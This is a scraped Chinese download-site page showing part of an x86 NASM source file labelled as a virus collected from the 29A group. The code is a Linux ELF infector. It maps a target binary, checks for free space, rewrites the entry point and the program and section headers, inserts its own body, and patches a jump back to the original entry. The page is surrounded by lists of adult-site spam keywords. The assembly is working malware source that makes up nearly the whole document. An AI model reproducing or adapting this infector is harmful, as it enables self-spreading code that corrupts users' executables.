亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? 29a-7.018

?? 從29A上收集的病毒源碼
?? 018
?? 第 1 頁 / 共 2 頁
字號(hào):
	push string5 ;;;debug
	call printf
	add esp,8    ;;;
    %endif

;;map the file into memory [void* mmap(start,length,prot,flags,fd,offset)]
;;  					in file <asm/mman.h>
;;the arguments stay in a struct that I create in the stack
;; mmap_arg_struct in file <usr/src/linux/arch/i386/kernel/sys_i386.c>
mmap:
	mov eax,90
	mov ecx,[esp+STACK2-8] ;filelength 
	mov edx,[esp+STACK2-4] ;fd 
	sub esp,24        ;alloc size of struct mmap_arg_struct
	mov dword [esp],0 ;start
	mov [esp+4],ecx   ;len
	mov dword [esp+8],3  ;prot READ-WRITE
	mov dword [esp+12],2 ;flag MAP_PRIVATE
	mov [esp+16],edx     ;fd
	mov dword [esp+20],0 ;offset
	mov ebx,esp 
	int 0x80  ;;mmap system call(eax=90,ebx=ptr to mmap_arg_struct)
	add esp,24
	cmp eax,-1
	jne c_mmap
	jmp mmap_error
    c_mmap:
	mov [esp+STACK2-12],eax    ;;;;;;;;;;;;;;[esp+STACK2-12]=pointer to mapped file
    %ifdef DEBUG
    	push eax  ;;;debug
	push string6 
	call printf
	add esp,8
    %endif
;end mmap

;;is suitable(if ELF and there is space for virus in memory)
is_suitable:
	;scas (scan strings ELF) or repe
	;but I coompare only the first 4 bytes ( a dword),so:
	mov edx,[esp+STACK2-12] ;ptr mapped
	mov ebx,[edx]    ;.ELF
	mov eax,0x464c457f  ;45=E,4c=L,46=F
    %ifdef DEBUG
    	push eax
    	push ebx
    	push string12
    	call printf
    	add esp,4
    	pop ebx
    	pop eax
    %endif
	cmp ebx,eax
	je c1_is_suitable
   error_suitable:
	jmp suit_error
   c1_is_suitable:
	;now read the ehdr (I need these informations first), but 
;TODO: I don't want e_phoff or e_shoff > filesz and entry out off range 
   read_ehdr:
	mov ebx,[esp+STACK2-8]  ;file len
	cmp ebx,0x130 
	jl error_suitable   ;error file size too small
   c_ehdr:
	mov esi,[esp+STACK2-12]  ;ptr mapped
	mov eax,[esi+0x18]
	mov [esp+STACK2-16],eax   ;;;;;;;;;;;;;;;;[esp+STACK2-16]=e_entry
	mov eax,[esi+0x1c]
	mov [esp+STACK2-20],eax   ;;;;;;;;;;;;;;;;[esp+STACK2-20]=e_phoff
	mov eax,[esi+0x20]
	mov [esp+STACK2-24],eax   ;;;;;;;;;;;;;;;;[esp+STACK2-24]=e_shoff
	mov eax,dword [esi+0x2c]    
	;else save only word, but after don't pop eax 
	and eax,0xffff ;only 2 bytes
	mov [esp+STACK2-28], eax   ;;;;;;;;;;;;;;;;[esp+STACK2-28]=e_phnum
	mov eax,dword [esi+0x30]
	and eax,0xffff
	mov [esp+STACK2-32],eax    ;;;;;;;;;;;;;;;;[esp+STACK2-32]=e_shnum
	
    %ifdef DEBUG
	push dword [esp+STACK2-16] 
	push string3
	call printf
	add esp,8  
	
	push dword [esp+STACK2-20] 
	push string3
	call printf
	add esp,8  
	
	push dword [esp+STACK2-24] 
	push string3
	call printf
	add esp,8  

	push dword [esp+STACK2-28] 
	push string3
	call printf
	add esp,8  
	
	push dword [esp+STACK2-32] 
	push string3
	call printf
	add esp,8  
    %endif
    ;end read_ehdr

    is_suitable_space:
	;look if there is space between end of section 2 and begin of 3
	mov esi,[esp+STACK2-12] ;ptr to mapped
	mov ebx,[esp+STACK2-20] ;e_phoff
	add esi,ebx      ;ph[0]
	mov ecx,[esi+32*3+8]  ;ph[3].p_vaddr
	mov ebx,[esi+32*2+16] ;ph[2].p_filesz 
	mov [esp+STACK2-36],ebx    ;;;;;;;;;;;;;;;;[esp+STACK2-36]=ph[2].p_filesz
	add ebx,[esi+32*2+8]  ;ph[2].p_vaddr  
	sub ecx,ebx      ;ph[3].p_vaddr-ph[2].p_vaddr-ph[2].p_filesz
	;verify ecx > VIRUS_SIZE
	mov eax,VIRUS_SIZE
	cmp ecx,eax
	jl error_suitable ;exit    ;;there is not space to write virus
    %ifdef DEBUG
	push ecx
	push string10
	call printf
	add esp,8
    %endif
	;---------here I look it I have more than 3 ph, else file is not
	;_________compiled with gcc, but for example with ld (and I assume 
	;_________ph[2] is the text section
	mov ebx,[esp+STACK2-28]   ;e_phnum
	cmp ebx,5
	jl error_suitable
    ;end is_suitable_space
;end is_suitable

patch_ehdr:
    patch_e_entry:
 	   ;the new e_entry will be where the code section finish
	mov ebx,0x08048000
	add ebx,[esp+STACK2-36]    ;ebx<-new entry
	mov esi,[esp+STACK2-12]    ;ptr mapped
	mov [esi+0x18],ebx  ;fix entry
    ;end patch_e_entry

    patch_e_sh_offset:
	add dword [esi+32],VIRUS_SIZE  
    ;end patch_e_sh_offset

patch_phdrs:
    %ifdef DEBUG
	push dword [esp+STACK2-36] ;;debug
	push string1
	call printf ;;debug
	add esp,8
    %endif
	mov ecx,[esp+STACK2-28] ;e_phnum
	mov edx,[esp+STACK2-20] ;e_phoff
	mov esi,[esp+STACK2-12] ;ptr to mapped
	add esi,edx      ;ph[0]
	mov eax,[esp+STACK2-36] ;insertion_offset

    l_read_ph:
    	cmp dword [esi+4],0    ;.text ph
    	jne dont_patch_phtext
	;here patch .text ph 
	add dword [esi+16],VIRUS_SIZE ;patch p_filesz
	add dword [esi+20],VIRUS_SIZE ;patch p_memsz
    dont_patch_phtext:
	cmp eax,[esi+4]  ;if offset <= insertion_offset patch ->jg dont...
	jg dont_patch_ph
	;here patch phs at offset >= insertion_offset
	add dword [esi+4],VIRUS_SIZE ;patch p_offset
    dont_patch_ph:
    %ifdef DEBUG
    	push eax
    	push ecx
    	
    	push string7
    	call printf
    	add esp,4

	push dword [esi+4]
	push string11 ;p_offset
	call printf
	add esp,8
	
	push dword [esi+16]
	push string9 ;p_filesz
	call printf
	add esp,8
    	
	push dword [esi+20]
	push string13 ;p_memsz
	call printf
	add esp,8
	
    	pop ecx
    	pop eax
    %endif
    	add esi,0x20 ;next ph
	loop l_read_ph
;end patch_phdrs


patch_shdrs:
	mov ecx,[esp+STACK2-32] ;e_shnum (loop counter)
	mov edx,[esp+STACK2-24] ;e_shoff
	mov esi,[esp+STACK2-12] ;ptr mapped
	add esi,edx      ;sh[0]
	mov eax,[esp+STACK2-36] ;insertion_offset
    l_read_sh:
	mov ebx,[esi+16]  ;sh_offset ;;;;;;;;;;;;patch .text
	add ebx,[esi+20]  ;sh_size
	cmp ebx,eax       ;sh.sh_offset+sh.sh_size-insertion_size
	jne dont_patch_shtext 
	;patch .text
	add dword [esi+20],VIRUS_SIZE  ;patch sh_size
    dont_patch_shtext:
    	cmp [esi+16],eax  ;sh_offset < insertion_offset -> don't patch 
    	jl dont_patch_sh
    	;patch sh
	add dword [esi+16],VIRUS_SIZE  ;patch sh_offset
    dont_patch_sh:
    
    %ifdef DEBUG
    	push eax
    	push ecx
    	
    	push string7
    	call printf
    	add esp,4

	push dword [esi+16]
	push string15 ;sh_offset
	call printf
	add esp,8
	
	push dword [esi+20]
	push string16 ;sh_size
	call printf
	add esp,8
    	
    	pop ecx
    	pop eax
    %endif
	add esi,40  ;next sh 
	loop l_read_sh 
;end patch_shdrs

find_current_entry_point: ;so I'll copy this code into the infected
	mov esi,dword [0x08048018] ;current entry
     %ifdef DEBUG
        push esi
        push string17
        call printf
        add esp,8
     %endif
;end find_current_entry_point

write:
	;open the file for writing
	;mov eax,5
	;mov ebx,[esp+STACK2-44] ;filename infected
	;mov ecx,101q ;write-create-truncate
	;mov edx,555q ;read-execute from all
	;int 0x80
	mov eax,[esp+STACK2-4] ;<---old fd
	mov [esp+STACK2-40],eax    ;;;;;;;;;;;;[esp+STACK2-40]=write fd
	;write before insertion
	mov ebx,eax ;fd
	mov eax,4
	mov ecx,[esp+STACK2-12] ;mapped
	mov edx,[esp+STACK2-36] ;insertion_offset 
	int 0x80  ;;write first before insertion_offset
	;write virus
	mov eax,4
	mov ecx,esi         ;entry point address
	mov edx,VIRUS_SIZE  ;virus length 
	int 0x80  ;;write the virus at insertion_offset
	;perhaps I have written less then VIRUS_SIZE bytes, so I have to
	;seek the fd of VIRUS_SIZE more then the insertion_offset
	mov eax,19
	mov ecx,[esp+STACK2-36] ;insertion_offset
	add ecx,VIRUS_SIZE
	mov edx,0  ;SEEK_SET
	int 0x80   ;SYS lseek
	;write after insertion (assume ebx=fd)
	mov ecx,[esp+STACK2-36] ;insertion_offset
	mov edx,[esp+STACK2-8]  ;total file length
	sub edx,ecx ;remaining length to write
	mov eax,4
	add ecx,[esp+STACK2-12] ;mapped
	int 0x80  ;;write at end after insertion_offset
	
;fix jmp to old entry point (instead of exit) and jmp offsets
	;seek the fd at insertion_offset+0xb7, 
	;where I'll put a jump to old entry point
	mov eax,19
	mov ecx,[esp+STACK2-36] ;insertion_offset
	add ecx,0xb7  ;it is the *jmp ahah* eheh
	mov edx,0  ;SEEK_SET
	int 0x80   ;SYS lseek
   %ifdef DEBUG 
   	push ebx
   	push ecx
   	push string20
   	call printf
   	add esp,4
   	pop ecx
   	pop ebx
   %endif
	;write the address to jmp  (assume ebx=fd)
	add ecx,0x08048004  ;address where instruction finish
	mov edx,[esp+STACK2-16] ;old_entry
	sub edx,ecx
	push edx     ;the opaddress part
	mov ecx,esp
	mov edx,4
	mov eax,4
	int 0x80   ;SYS write
	add esp,4
;end fix
;end write

suit_error:
munmap:
	mov eax,91
	mov ebx,[esp+STACK2-12] ;ptr to map
	mov ecx,[esp+STACK2-8]  ;map length
	int 0x80

;;close the file
mmap_error:
close:
	mov eax,6
	mov ebx,[esp+STACK2-4]  ;fd
	int 0x80      ;close

;;exit
open_error:
__exit: 
	add esp,STACK2  ;restore the stack allocated at the beginning
	ret
	
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;end main;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;data in section text;;;;;;;;;;;;;;;;;;;;;;;;;;
%ifdef DEBUG
string1: db 'fd=%d',10,0 
string2: db 10,0
string3: db '0x%X',10,0
string4: db 'at offset 0x%X there is: ',0
string5: db 'file size=%dbytes',10,0
string6: db 'mmap ptr=0x%X',10,0
string7: db 'ecx=%d',10,0
string8: db 'ebp = 0x%X',10,0
string9: db 'filesz = 0x%X',10,0
string10: db 'free space for insertion = 0x%X',10,0
string11: db 'offset = 0x%X',10,0
string12: db 'signatureELF = 0x%X',10,0
string13: db 'p_memsz = 0x%X',10,0
string14: db '--------------------',10,0
string15: db 'sh_offset = 0x%X',10,0
string16: db 'sh_size = 0x%X',10,0
string17: db 'entry = 0x%X',10,0
string20: db 'seekKKKk to 0x%X',10,0
infected: db 'infected',0
off_table:    ;table with the file offsets where I want to look 
	dd 0x18 ;entry point (e_entry)
	dd 0x1c ;program header offset (e_phoff)
	dd 0x20 ;section header offset (e_shoff)
	dd 0x2c ;number of phs (e_phnum) (only 2 bytes!!!)
	dd 0x30 ;number of shs (e_shnum) (only 2 bytes!!!)
	dd 0    ;end of table
%endif
	;I let some words 
section .data
db 'hello, nice boys, I hope you will enjoy this program written with nasm.I want to say thanks to all my programmers friend.Bye from Gildo.',0


?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
五月婷婷色综合| 亚洲人成影院在线观看| 欧美在线观看18| 91色porny在线视频| 99精品视频在线观看| 国产999精品久久久久久绿帽| 国产一区日韩二区欧美三区| 国产黑丝在线一区二区三区| 国产一二精品视频| 福利视频网站一区二区三区| 成人午夜在线视频| 色av一区二区| 欧美日韩国产美女| 欧美大胆人体bbbb| 久久香蕉国产线看观看99| 国产日韩影视精品| 亚洲日本丝袜连裤袜办公室| 亚洲欧美电影院| 日韩精品电影一区亚洲| 蜜桃一区二区三区在线| 国产精品自在欧美一区| 成人中文字幕在线| 91福利国产精品| 日韩免费观看高清完整版| 久久婷婷久久一区二区三区| 国产精品久久久久一区| 亚洲一区二区三区四区不卡 | 免费在线观看不卡| 国内精品免费**视频| 成人免费视频视频在线观看免费| 91色视频在线| 日韩精品一区在线观看| 亚洲图片你懂的| 蜜臀久久99精品久久久久宅男| 黄色小说综合网站| 91国产成人在线| 久久亚洲综合色一区二区三区| 亚洲色图视频网站| 久久91精品久久久久久秒播 | 尤物在线观看一区| 蜜桃一区二区三区在线观看| 不卡av在线网| 欧美一级免费大片| 亚洲美女少妇撒尿| 国产高清不卡一区| 欧美肥大bbwbbw高潮| 国产欧美一区二区三区在线老狼 | 91精品国产综合久久精品图片 | 色哟哟亚洲精品| 久久免费电影网| 丝袜美腿成人在线| 91小视频在线观看| 久久久www成人免费毛片麻豆 | 亚洲激情图片一区| 国产麻豆视频一区| 欧美日韩国产精选| 亚洲乱码一区二区三区在线观看| 狠狠色丁香久久婷婷综| 欧美日韩国产综合一区二区三区| 中日韩av电影| 国产福利一区二区三区视频在线 | 91精品国产综合久久香蕉的特点 | 一区二区三区四区激情| 大白屁股一区二区视频| 亚洲精品在线观| 免费亚洲电影在线| 91精品国产色综合久久ai换脸| 亚洲精品videosex极品| 91丝袜美腿高跟国产极品老师| 国产欧美日韩精品一区| 国产一区二区三区久久久| 欧美一卡2卡三卡4卡5免费| 亚洲va国产va欧美va观看| 91亚洲精华国产精华精华液| 国产精品久久免费看| 99久久婷婷国产综合精品| 中文字幕欧美区| 成人免费看片app下载| 中文av字幕一区| 99九九99九九九视频精品| 自拍偷拍国产亚洲| 91精品福利视频| 亚洲一区二区欧美| 欧美日本一道本在线视频| 天天av天天翘天天综合网| 欧美日韩精品专区| 蜜臀av性久久久久蜜臀aⅴ流畅 | 国产精品美女久久久久久2018| 高清不卡在线观看| 亚洲色图第一区| 欧美少妇xxx| 麻豆精品在线视频| 久久精品视频网| 91日韩精品一区| 午夜精品久久久久久久| 日韩欧美精品在线| 福利电影一区二区| 亚洲精品乱码久久久久久日本蜜臀| 日本高清成人免费播放| 五月天久久比比资源色| 亚洲精品一区二区精华| 粉嫩欧美一区二区三区高清影视 | 精品国产成人系列| 成人av在线网站| 偷拍一区二区三区| 久久午夜老司机| 91麻豆国产精品久久| 日韩av电影天堂| 国产精品免费av| 欧美理论电影在线| 成人福利视频在线| 日韩国产在线一| 亚洲图片激情小说| 精品国内二区三区| 欧美午夜精品一区| 国产99一区视频免费| 亚洲图片欧美视频| 欧美激情一区二区三区在线| 欧美丝袜丝交足nylons图片| 国产一区二区三区在线观看精品 | 亚洲一区二区美女| 久久精品欧美日韩精品| 欧美日韩电影在线| 成人免费看的视频| 久久超碰97人人做人人爱| 亚洲最大成人网4388xx| 国产日韩欧美综合在线| 欧美疯狂性受xxxxx喷水图片| 99国产精品99久久久久久| 久草精品在线观看| 亚洲精品视频免费观看| 国产日韩精品久久久| 51精品秘密在线观看| 欧美特级限制片免费在线观看| 成人午夜在线播放| 韩国三级在线一区| 日本欧美韩国一区三区| 亚洲一卡二卡三卡四卡五卡| 中文成人综合网| 久久久久久麻豆| 久久只精品国产| 欧美xingq一区二区| 欧美久久高跟鞋激| 欧美优质美女网站| 91成人看片片| 色综合久久天天| 91麻豆自制传媒国产之光| 99久久精品一区二区| 成人国产视频在线观看| 国产成+人+日韩+欧美+亚洲| 精品一区二区三区免费播放| 看电影不卡的网站| 免费成人深夜小野草| 亚洲成av人片在www色猫咪| 亚洲成人免费在线| 日韩高清不卡一区二区三区| 天天av天天翘天天综合网| 日韩av一级电影| 精彩视频一区二区三区| 国产一区二区三区观看| 国产东北露脸精品视频| 风间由美一区二区av101 | 亚洲第一搞黄网站| 丝袜诱惑亚洲看片| 韩国欧美国产1区| 成人深夜在线观看| 在线中文字幕一区| 91精品国产一区二区三区| 日韩午夜三级在线| 久久久一区二区三区捆绑**| 国产精品拍天天在线| 亚洲人成精品久久久久久| 调教+趴+乳夹+国产+精品| 免费在线观看不卡| 成人一级片网址| 欧美日韩亚洲国产综合| 日韩欧美一级二级三级久久久 | 国产成人亚洲综合a∨婷婷| 国产福利91精品一区| 日本黄色一区二区| 欧美一区二区三区四区在线观看| 精品动漫一区二区三区在线观看| 国产欧美精品国产国产专区| 亚洲精品福利视频网站| 日本三级亚洲精品| 国产成+人+日韩+欧美+亚洲| 欧美亚洲国产bt| 精品美女一区二区| 亚洲精品高清在线| 韩国精品一区二区| 色乱码一区二区三区88| 精品国产免费人成电影在线观看四季| 国产精品视频九色porn| 香蕉影视欧美成人| 成人av在线资源| 日韩欧美www| 一区二区三区美女| 国产在线麻豆精品观看| 97精品国产露脸对白| 精品国产露脸精彩对白|